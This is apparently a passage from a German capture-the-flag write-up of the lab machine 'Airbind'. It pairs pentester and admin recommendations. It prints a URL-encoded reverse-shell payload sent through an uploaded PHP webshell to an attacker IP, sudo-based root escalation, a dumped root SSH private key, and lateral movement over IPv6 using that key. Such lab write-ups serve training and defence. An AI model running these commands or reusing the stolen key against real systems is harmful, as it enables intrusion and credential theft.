Empfehlung (Pentester): Initial Access erfolgreich! Die Shell stabilisieren (Python PTY, stty raw -echo etc.). Mit der Enumeration für die Privilegieneskalation beginnen.
Empfehlung (Admin): Egress Filtering implementieren, um ausgehende Reverse-Shell-Verbindungen zu blockieren/melden. IDS/IPS zur Erkennung von Shell-Payloads einsetzen. Grundursache (RCE-Schwachstelle) beheben.
http://airbinds.hmv/images/uploads/logos/1723067040-deni.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 55760 bash: cannot set terminal process group (210): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu:/var/www/html/images/uploads/logos$
Analyse: In der erhaltenen Reverse Shell werden die Benutzeridentität und die `sudo`-Berechtigungen überprüft.
Bewertung: * `id` bestätigt, dass die Shell als `www-data` läuft. * `sudo -l` liefert einen kritischen Fund: `User www-data may run the following commands on ubuntu: (ALL) NOPASSWD: ALL`. Das bedeutet, der Benutzer `www-data` kann jeden beliebigen Befehl (`ALL`) als jeder beliebige Benutzer (`ALL`, standardmäßig root) ohne Passwortabfrage (`NOPASSWD`) ausführen.
Empfehlung (Pentester): Dies ist der einfachste Weg zur Root-Eskalation! Einfach `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Absolute Katastrophe! Die Regel `(ALL) NOPASSWD: ALL` für einen Dienstbenutzer wie `www-data` ist eine massive Sicherheitslücke und muss sofort entfernt werden. Sudo-Berechtigungen sollten immer dem Prinzip der geringsten Rechte folgen: Nur spezifische, notwendige Befehle erlauben und `NOPASSWD` nur verwenden, wenn es absolut unumgänglich und der Befehl ungefährlich ist.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
Analyse: Der Pentester nutzt die gefundene `sudo`-Regel, um Root-Rechte zu erlangen.
Bewertung: * `sudo su`: Wechselt den Benutzer zu `root`, ohne Passwortabfrage, da `NOPASSWD: ALL` gesetzt ist. * `id`: Bestätigt, dass der Benutzer nun `root` ist (`uid=0(root)`). * `find / -name *.txt 2>/dev/null`: Sucht nach `.txt`-Dateien im gesamten Dateisystem. Es wird `/root/user.txt` gefunden.
Empfehlung (Pentester): Root-Zugriff erfolgreich! Die Datei `/root/user.txt` auslesen. Auch nach `root.txt` suchen (wahrscheinlich ebenfalls in `/root/`). System weiter untersuchen.
Empfehlung (Admin): Die unsichere `sudo`-Regel entfernen!
root@ubuntu:/var/www/html/images/uploads/logos#
uid=0(root) gid=0(root) groups=0(root)
/root/user.txt
Analyse: Als `root` wird der Inhalt des privaten SSH-Schlüssels (`id_rsa`) aus dem Verzeichnis `/root/.ssh` angezeigt. Dieser Schlüssel gehört wahrscheinlich dem Root-Benutzer auf diesem Ubuntu-System.
Bewertung: Es wurde ein privater SSH-Schlüssel für den Root-Benutzer gefunden. Dieser könnte potenziell verwendet werden, um sich ohne Passwort auf anderen Systemen anzumelden, falls der zugehörige öffentliche Schlüssel dort in der `authorized_keys`-Datei eingetragen ist.
Empfehlung (Pentester): Den privaten Schlüssel kopieren und sicher speichern. Prüfen, ob er mit einer Passphrase geschützt ist (sieht auf den ersten Blick nicht so aus). Versuchen, sich mit diesem Schlüssel auf anderen potenziellen Zielen im Netzwerk (insbesondere, wenn sie über IPv6 erreichbar sind, siehe nächste Schritte) als `root` anzumelden.
Empfehlung (Admin): Private SSH-Schlüssel von Root sollten besonders geschützt und idealerweise nicht für die passwortlose Anmeldung verwendet werden. Wenn nötig, mit starken Passphrasen schützen und Zugriff auf die Schlüsseldatei limitieren.
-----BEGIN OPENSSH PRIVATE KEY----- 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 EkGwPez9XGBEUAAAALcm9vdEB1YnVudHU= -----END OPENSSH PRIVATE KEY-----
Analyse: `netstat -net` wird auf dem Ubuntu-System (wo wir Root sind) ausgeführt, um aktive TCP-Netzwerkverbindungen anzuzeigen (`-e` für etablierte, `-t` für TCP, `-n` für numerisch).
Bewertung: Die Ausgabe zeigt zwei etablierte Verbindungen: * Die Reverse Shell (`10.0.3.241:55760` -> `192.168.2.199:9001`). Die lokale IP `10.0.3.241` ist interessant, sie deutet auf ein internes Netzwerk hin (möglicherweise LXC/Docker-Bridge). * Eine Verbindung von Port 80 (`10.0.3.241:80`) zu unserem Angreifer-System (`192.168.2.199:40254`). Dies ist wahrscheinlich die Verbindung, die durch den Aufruf der Webshell im Browser entstanden ist.
Empfehlung (Pentester): Die interne IP `10.0.3.241` notieren. Es scheint, als ob das Ubuntu-System in einem Container oder einer VM mit einem eigenen Subnetz (`10.0.3.0/24`) läuft. Dies könnte für Lateral Movement relevant sein.
Empfehlung (Admin): Netzwerkverbindungen überwachen. Interne Netzwerkstrukturen (wie Docker/LXC-Netzwerke) sollten dokumentiert und gesichert sein.
Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State User Inode tcp 0 0 10.0.3.241:55760 192.168.2.199:9001 ESTABLISHED 33 136584 tcp6 0 0 10.0.3.241:80 192.168.2.199:40254 ESTABLISHED 33 135272
Analyse: Auf dem Angreifer-System wird `ping6` verwendet, um IPv6-Hosts im lokalen Netzwerk zu entdecken. * `-I eth0`: Gibt das Interface an, über das gesendet wird. * `ff01::1`: Node-local all-nodes Multicast-Adresse. Sendet an alle IPv6-Knoten auf dem lokalen Interface. * `-c 3`: Sendet 3 Pakete.
Bewertung: Der Ping an `ff01::1` erhält nur Antworten von der eigenen Link-Local-Adresse (`fe80::a00:27ff:fe30:2eda%eth0`). Dies ist nicht sehr nützlich zur Entdeckung anderer Hosts.
Empfehlung (Pentester): Statt `ff01::1` die Adresse `ff02::1` (Link-local all-nodes) verwenden, um alle Hosts im lokalen Netzwerksegment zu erreichen.
Empfehlung (Admin): ICMPv6 (insbesondere Neighbor Discovery) ist für IPv6 essentiell und sollte nicht blockiert werden, aber Monitoring kann sinnvoll sein.
PING ff01::1 (ff01::1) from fe80::a00:27ff:fe30:2eda%eth0 eth0: 56 data bytes 64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=1 ttl=64 time=0.022 ms 64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=2 ttl=64 time=0.035 ms 64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=3 ttl=64 time=0.033 ms --- ff01::1 ping statistics ---
Analyse: Auf dem Ubuntu-System (als Root) wird die Routing-Tabelle angezeigt.
Bewertung: Die Routing-Tabelle zeigt: * Ein Default-Gateway `10.0.3.1` über das Interface `eth0`. * Das lokale Subnetz `10.0.3.0/24` ist direkt über `eth0` erreichbar. Dies bestätigt, dass das Ubuntu-System in einem internen `10.0.3.0/24`-Netzwerk läuft und `10.0.3.1` das Gateway zu anderen Netzen ist.
Empfehlung (Pentester): Das Gateway `10.0.3.1` und das Subnetz `10.0.3.0/24` als potenzielle Ziele für weiteres Lateral Movement untersuchen. Gibt es andere Hosts in diesem Netz? Läuft etwas Interessantes auf dem Gateway?
Empfehlung (Admin): Interne Netzwerke segmentieren und Firewalls zwischen Segmenten implementieren.
default via 10.0.3.1 dev eth0 proto static 10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.241
Analyse: Erneuter `ping6`-Versuch vom Angreifer-System, diesmal an die korrekte Link-Local All-Nodes Multicast-Adresse `ff02::1`.
Bewertung: Dieser Scan ist erfolgreich und enthüllt mehrere IPv6-fähige Hosts im lokalen Netzwerk anhand ihrer Link-Local-Adressen (`fe80::...%eth0`): * `fe80::a00:27ff:fe30:2eda`: Das eigene Angreifer-System. * `fe80::a00:27ff:fedc:2a3b`: Das ursprüngliche Zielsystem `airbinds.hmv` (MAC: `08:00:27:dc:2a:3b`). * `fe80::1`: Wahrscheinlich das Default-Gateway (`192.168.2.1`). * `fe80::6f7:78ff:feda:acf3`: Ein unbekannter Host. * `fe80::8247:86ff:fe96:f63a`: Ein weiterer unbekannter Host. * `fe80::ccf4:81ff:fe80:c5d4`: Noch ein unbekannter Host.
Empfehlung (Pentester): Die gefundenen IPv6 Link-Local-Adressen, insbesondere `fe80::a00:27ff:fedc:2a3b` (das Airbind-Hostsystem) und die unbekannten Hosts, sind potenzielle Ziele. Versuchen, sich per SSH mit dem gefundenen Root-Schlüssel auf diesen Hosts anzumelden.
Empfehlung (Admin): IPv6-Sicherheit berücksichtigen. Ungenutzte IPv6-Stacks deaktivieren. IPv6-Firewall-Regeln implementieren. Link-Local-Adressen können für Angriffe innerhalb des lokalen Segments genutzt werden.
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%ping6: Warning: source address might be selected on device other than: eth0 PING ff02::1 (ff02::1) from :: eth0: 56 data bytes 64 bytes from fe80::a00:27ff:fe30:2eda%eth0: icmp_seq=1 ttl=64 time=0.032 ms 64 bytes from fe80::a00:27ff:fedc:2a3b%eth0: icmp_seq=1 ttl=255 time=0.443 ms 64 bytes from fe80::1%eth0: icmp_seq=1 ttl=255 time=0.827 ms 64 bytes from fe80::6f7:78ff:feda:acf3%eth0: icmp_seq=1 ttl=64 time=2.82 ms 64 bytes from fe80::8247:86ff:fe96:f63a%eth0: icmp_seq=1 ttl=255 time=68.6 ms 64 bytes from fe80::ccf4:81ff:fe80:c5d4%eth0: icmp_seq=1 ttl=255 time=297 ms
Analyse: Es wird versucht, sich vom Angreifer-System per SSH mit dem zuvor gefundenen Root-Schlüssel (`-i id_rsa`) auf zwei der per IPv6 entdeckten Hosts anzumelden. * Erster Versuch: `ssh -i id_rsa root@fe80::6f7:78ff:feda:acf3%eth0 -v` (mit Verbose-Modus `-v`). * Zweiter Versuch: `ssh -i id_rsa root@fe80::a00:27ff:fedc:2a3b%eth0`.
Bewertung: * Der erste Versuch (auf `fe80::6f7:...`) scheitert mit `Connection refused`. Auf diesem Host läuft kein SSH-Server auf Port 22 oder die Verbindung wird blockiert. * Der zweite Versuch (auf `fe80::a00:27ff:fedc:2a3b`, die Link-Local-Adresse des ursprünglichen Airbind-Systems) ist erfolgreich! Nach Bestätigung des Host-Keys wird der Pentester als `root@airbind` angemeldet. Dies stellt ein erfolgreiches Lateral Movement dar, vom Ubuntu-Container (wo Root erlangt wurde) zum Host-System `airbind`.
Empfehlung (Pentester): Erfolg! Man befindet sich nun als Root auf dem Hostsystem `airbind`. Das System untersuchen (`ifconfig`, `ip route show`, `ls /root` etc.), um die Umgebung zu verstehen und die Root-Flag zu finden.
Empfehlung (Admin): SSH-Zugriff auf Hostsysteme einschränken. Wenn möglich, Root-Login per SSH verbieten (`PermitRootLogin no` in `sshd_config`) und Key-basierte Authentifizierung für reguläre Benutzer erzwingen. Den privaten Schlüssel des kompromittierten Ubuntu-Containers als kompromittiert betrachten und von allen `authorized_keys`-Dateien entfernen.
OpenSSH_9.7p1 Debian-7, OpenSSL 3.2.2 4 Jun 2024 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf debug1: /etc/ssh/ssh_config line 21: Applying options for * debug1: Connecting to fe80::6f7:78ff:feda:acf3%eth0 [fe80::6f7:78ff:feda:acf3%eth0] port 22. debug1: connect to address fe80::6f7:78ff:feda:acf3%eth0 port 22: Connection refused ssh: connect to host fe80::6f7:78ff:feda:acf3%eth0 port 22: Connection refused
The authenticity of host 'fe80::a00:27ff:fedc:2a3b%eth0 (fe80::a00:27ff:fedc:2a3b%eth0)' can't be established.
ED25519 key fingerprint is SHA256:La9YyHs4GERVO8XTRRw0cLh6XcInXX35Ar9OiMsXwQk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80::a00:27ff:fedc:2a3b%eth0' (ED25519) to the list of known hosts.
Linux airbind 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@airbind:~#
Analyse: Auf dem Hostsystem `airbind` werden die Netzwerkkonfiguration und die Routing-Tabelle überprüft.
Bewertung: * `ifconfig`: Zeigt das Interface `enp0s3` mit der IPv4-Adresse `192.168.2.106` und der IPv6 Link-Local-Adresse `fe80::a00:27ff:fedc:2a3b` sowie einer globalen IPv6-Adresse. * `ip route show`: Zeigt das Default-Gateway `192.168.2.1` für IPv4. Interessanterweise zeigt es auch das interne LXC/Docker-Netzwerk `10.0.3.0/24` über das Interface `lxcbr0` (wo das Ubuntu-System läuft) und ein weiteres Netzwerk `192.168.10.0/24` über `wlan1`. Dies bestätigt, dass wir uns auf dem Host befinden, der den Ubuntu-Container und möglicherweise weitere Netzwerkschnittstellen verwaltet.
Empfehlung (Pentester): Die Netzwerkstruktur verstehen. Das `lxcbr0`-Interface und das `wlan1`-Interface könnten weitere Angriffspunkte oder Informationsquellen sein. Nach der Root-Flag suchen.
Empfehlung (Admin): Hostsysteme härten. Zugriff auf Management-Interfaces (wie `lxcbr0`) einschränken. Unnötige Interfaces (wie `wlan1`, falls nicht benötigt) deaktivieren.
enp0s3: flags=4163mtu 1500 inet 192.168.2.106 netmask 255.255.255.0 broadcast 192.168.2.255 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ inet6 fe80::a00:27ff:fedc:2a3b prefixlen 64 scopeid 0x20 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ inet6 2003:d4:c71f:d323:a00:27ff:fedc:2a3b prefixlen 64 scopeid 0x0 ether 08:00:27:dc:2a:3b txqueuelen 1000 (Ethernet) RX packets 8079619 bytes 1282782134 (1.1 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 8021464 bytes 3820678643 (3.5 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
default via 192.168.2.1 dev enp0s3 10.0.3.0/24 dev lxcbr0 proto kernel scope link src 10.0.3.1 169.254.0.0/16 dev wlan1 scope link metric 1000 192.168.2.0/24 dev enp0s3 proto kernel scope link src 192.168.2.106 192.168.10.0/24 dev wlan1 proto kernel scope link src 192.168.10.1
default via 10.0.3.1 dev eth0 proto static 10.0.3.0/24 dev eth0 proto kernel scope link src 10.0.3.241
Analyse: Als `root` auf dem Hostsystem `airbind` wird das Root-Home-Verzeichnis aufgelistet und der Inhalt der Datei `root.txt` angezeigt.
Bewertung: Die Root-Flag wird erfolgreich gefunden und lautet `2bd693135712f88726c22770278a2dcf`.
Empfehlung (Pentester): Root-Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Flags sicher speichern und Berechtigungen prüfen.
root.txt
2bd693135712f88726c22770278a2dcf